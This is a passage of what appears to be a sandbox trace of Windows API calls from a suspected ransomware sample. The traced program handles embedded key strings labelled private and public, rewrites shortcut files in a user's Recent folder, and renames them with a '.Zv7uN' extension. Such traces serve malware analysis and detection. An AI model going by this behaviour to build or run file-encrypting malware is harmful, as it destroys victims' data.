lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0081.374] GetCurrentThreadId () returned 0xa30 [0081.374] GetCurrentThreadId () returned 0xa30 [0081.374] GetCurrentThreadId () returned 0xa30 [0081.374] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0081.374] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0081.375] GetCurrentThreadId () returned 0xa30 [0081.375] GetCurrentThreadId () returned 0xa30 [0081.375] GetCurrentThreadId () returned 0xa30 [0081.375] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EvnXETH8or.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\evnxeth8or.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.375] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0081.375] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.375] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x976 [0081.375] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.375] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x976, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x976, lpOverlapped=0x0) returned 1 [0081.376] CloseHandle (hObject=0x124) returned 1 [0081.377] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EvnXETH8or.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\evnxeth8or.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.378] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x976, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x976, lpOverlapped=0x0) returned 1 [0081.379] CloseHandle (hObject=0x124) returned 1 [0081.380] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EvnXETH8or.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\evnxeth8or.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\EvnXETH8or.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\evnxeth8or.lnk.zv7un")) returned 1 [0081.381] GetCurrentThreadId () returned 0xa30 [0081.381] GetCurrentThreadId () returned 0xa30 [0081.381] GetCurrentThreadId () returned 0xa30 [0081.381] GetCurrentThreadId () returned 0xa30 [0081.381] GetCurrentThreadId () returned 0xa30 [0081.381] GetCurrentThreadId () returned 0xa30 [0081.381] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24faac0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe24faac0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe24faac0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="fdo1k2CX.lnk", cAlternateFileName="")) returned 1 [0081.381] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0081.381] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0081.381] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fdo1k2CX.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\fdo1k2cx.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24faac0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe24faac0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe24faac0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x239)) returned 1 [0081.382] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fdo1k2CX.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\fdo1k2cx.lnk")) returned 0x20 [0081.382] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fdo1k2CX.lnk", dwFileAttributes=0x80) returned 1 [0081.383] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0081.383] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwp